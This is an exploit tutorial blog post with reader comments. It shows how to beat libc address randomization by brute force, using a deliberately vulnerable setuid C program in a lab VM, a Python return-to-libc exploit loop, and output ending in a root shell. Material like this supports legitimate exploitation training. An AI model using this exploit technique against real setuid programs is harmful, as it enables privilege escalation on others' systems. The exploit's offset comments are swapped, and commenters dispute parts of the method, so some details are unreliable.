Bypassing ASLR – Part II

Prerequisite:

  1. Classic Stack Based Buffer Overflow

VM Setup: Ubuntu 12.04 (x86)

In this post lets see how to bypass shared library address randomization using brute force technique.

What is brute-force?

In this technique attacker chooses a particular libc base address and continues to attack the program until he succeeds. This technique is the simplest of the technique to bypass ASLR, provided you get lucky 🙂

Vulnerable Code:

//vuln.c
#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[]) {
 char buf[256];
 strcpy(buf,argv[1]);
 printf("%s\n",buf);
 fflush(stdout);
 return 0;
}

Compilation Commands:

#echo 2 > /proc/sys/kernel/randomize_va_space
$gcc -fno-stack-protector -g -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln

Lets now see how attacker brute forces libc base address. Below is the different libc base addresses (when randomization is turned on):

$ ldd ./vuln | grep libc
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75b6000)
$ ldd ./vuln | grep libc
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7568000)
$ ldd ./vuln | grep libc
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7595000)
$ ldd ./vuln | grep libc
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75d9000)
$ ldd ./vuln | grep libc
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7542000)
$ ldd ./vuln | grep libc
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb756a000)
$

As shown above libc randomization is limited to 8 bits. Hence a maximum of 256 tries, should gives us a root shell. In the below exploit code lets choose libc base address to be 0xb7595000 and lets make multiple tries.

Exploit Code:

#exp.py
#!/usr/bin/env python
import struct
from subprocess import call

libc_base_addr = 0xb7595000
exit_off = 0x00032be0             #Obtained from "readelf -s libc.so.6 | grep system" command.
system_off = 0x0003f060           #Obtained from "readelf -s libc.so.6 | grep exit" command.
system_addr = libc_base_addr + system_off
exit_addr = libc_base_addr + exit_off
system_arg = 0x804827d

#endianess convertion
def conv(num):
 return struct.pack("<I",num)

# Junk + system + exit + system_arg
buf = "A" * 268
buf += conv(system_addr)
buf += conv(exit_addr)
buf += conv(system_arg)

print "Calling vulnerable program"
#Multiple tries until we get lucky
i = 0
while (i < 256):
 print "Number of tries: %d" %i
 i += 1
 ret = call(["./vuln", buf])
 if (not ret):
  break
 else:
  print "Exploit failed"

Running the above exploit code gives us root shell (as shown below):

$ python exp.py 
Calling vulnerable program
Number of tries: 0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`@]��{\�}�
Exploit failed
...
Number of tries: 42
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`@]��{\�}�
Exploit failed
Number of tries: 43
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`@]��{\�}�
# id
uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
# exit
$

NOTE: Similarly stack and heap segment address can also be brute forced!!

11 thoughts on “Bypassing ASLR – Part II

  1. Hi,
    if the randomization can take 256 values, are we really ensured that 256 tries will be enough ? This seems not natural to me, because you need that the number you try is the number picked for the randomization. I would say that you win with a proba of 1/256… So your program succeeds with a proba of 1-(1-1/256)^256 = 0.63

    This question arises because I am trying to bruteforce 2 bytes (65536) instead of 1 byte and I am afraid to never succeed ^^.

    Thanks a lot for this great blog, go on posting 🙂

    Like

      • Can you please explain how you got the offset of that string with hexdump, i used hexdump and found the following line

        00001090 61 73 68 00 2e 64 79 6e 73 79 6d 00 2e 64 79 6e |ash..dynsym.dyn|

        so i guessed that the offset 0x00001091 would do, but it doesn’t when i run my exploit after a few trys it gets the base address right and jumps to system but system fails…

        Like

      • More specifically use objdump or hexdump to search and find the string “sh” as shown:
        hexdump -C vuln | grep sh
        Then the rest is simply counting and obtaining its offset and finally adding it to the base address of libc.
        Took me a long while to solve that and figure it out.

        Like

  2. I was brute-force but I can not enter command.
    Number of tries: 41
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3\�`b[�L�s
    Exploit failed
    Number of tries: 42
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3\�`b[�L�s
    dlufy@DLufy ~/exploit/SBBO $

    Like

    • Try using execve instead of system. System may be depreciated. I’m using Kali linux and system never works for my exploits, however execve does. Just remember that execve will take three arguments, instead of one.

      Like

  3. I think this method is not correct. As said by rastarocco, there aren’t 256 posibilities. The first time that you execute the python call, the shared library will be loaded in certain address, for example: 0xb75b6000. To do work this method, that direction can’t change between executions but in the next while iteration that address has change. So it is possible that the while loop finosh without execute the exploit.

    Like

  4. Such a poorly written exploit. So many typos, nothing makes sense. The conv() method , all the variables in there don’t exist.

    A. To find the system_arg is such a an important part and it’s not even explained at all to how he got that address, even in the comments there is so actual explanation . “Just use hexdump and add the offsets” ????

    Like

Leave a comment